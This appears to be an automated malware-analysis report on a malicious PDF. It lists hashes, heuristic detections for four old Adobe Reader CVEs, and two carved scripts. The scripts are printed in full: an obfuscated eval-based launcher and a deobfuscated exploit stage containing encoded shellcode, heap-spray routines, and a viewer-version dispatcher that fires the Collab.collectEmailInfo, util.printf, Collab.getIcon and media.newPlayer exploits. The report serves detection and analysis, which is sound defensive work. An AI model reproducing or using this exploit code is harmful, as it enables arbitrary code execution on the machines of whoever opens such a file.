Malicious PDF — malware analysis report

Static analysis result for SHA-256 9346d588dd1ccb0e…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: c3dde7313f4598d9651fc94dba36b8a7 SHA-1: c9c536be913e660e7d8ec63d4dc085b19fbead5b SHA-256: 9346d588dd1ccb0e2506ba1604c26a984a37728e1f925aefeac953b6a5883842
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript, named 'javascript_obj0001_000.js', is likely intended to execute malicious code upon opening the document, potentially leading to further compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 563 bytes
SHA-256: 9a2f6168839d243bcf8c4f7f7b9b9bd57d7de33ac3583b432a570e3d508a070a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
kkhmv='';
var q = date.getFullYear()-2007;
tybp='2011s'.replace(date.getFullYear(),'hi');
uvkl=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+tybp+'[a]');
var ymp = g(uvkl);
kulgd=('sub2011').replace(date.getFullYear(),'ject');
var gsrcp=g(kulgd).replace(date.getFullYear(),'al');
gnva=g(gsrcp);
qkf='pro2011cer';
qkf=gnva('qkf.replace(date.getFullYear(),"du")');
ecic=gnva(g(qkf));
vqh = gnva(ymp);
for (i = 0; i < vqh.length; i++) {
	fufox = vqh[i];
	kkhmv += ecic(fufox);
}
gnva(kkhmv);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2FC 3636 bytes
SHA-256: 19fc57c45dfc7a43639815ed0efae2daac136c5a935d4dbcaf30ab60e26ef168
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ub234%ue2aa%uc3fa%ue5e8%uffff%u5bff%ub3be%ub2b2%u33ec%uee5e%ub2b3%u3bb2%u3f55%ua2fd%udd3f%u83e6%ue569%ue1e3%ue1e1%ue1e1%ue1e1%ue1e7%udae1%ub3b6%ub2b2%ue4e7%udae1%udcdd%ub2b2%uc7da%udec0%ue6df%u3cda%ubcfc%u5a5e%ub2fa%ub2b2%u5ae2%ub2ce%ub2b2%u624d%u7631%udaba%u5dfd%ub7fd%u5ae2%ub2de%ub2b2%u624d%u7237%ua5c7%ue6d8%u41eb%uda18%u4cc0%ua401%uaf5a%ub2b2%ue2b2%ue35a%ub2b2%u4db2%ue162%u4cd8%u3bda%ub3dd%u5a0f%ub2ba%ub2b2%u5ae2%ub28e%ub2b2%u624d%u83d2%ud672%ue239%u3982%ubee0%ue039%u39a6%u9ac0%uaa0b%ub2b2%u83b2%u834d%u1e72%ud38e%ub0ce%u929e%u7d73%ub3bf%u5075%u3342%ue94d%uf80e%u39d8%ua2f0%ua039%u6bc7%uf63b%uae96%u71d3%u39d2%u96de%u3996%u8ef7%ue639%ucab7%u58b3%uf839%u39aa%u92e8%u59b3%u8651%u39fb%u3986%u5cb3%u4d83%u7283%u1e4e%u7236%ub5c6%u7d73%ub3bf%u5975%u8946%u96ce%uc79a%u3953%u96e8%u59b3%u39d4%uf9be%ue839%ub3ae%u3959%u39b6%u5ab3%uf63b%uae96%u70d3%ub2ba%u5d5a%u4d4c%uda4d%uc6c6%u88c2%u9d9d%ud6d4%ud1ca%ud19c%u9cdd%ud1d1%ud69d%uc29c%uc2da%ud48d%u808f%u9484%u8fd7%ub281';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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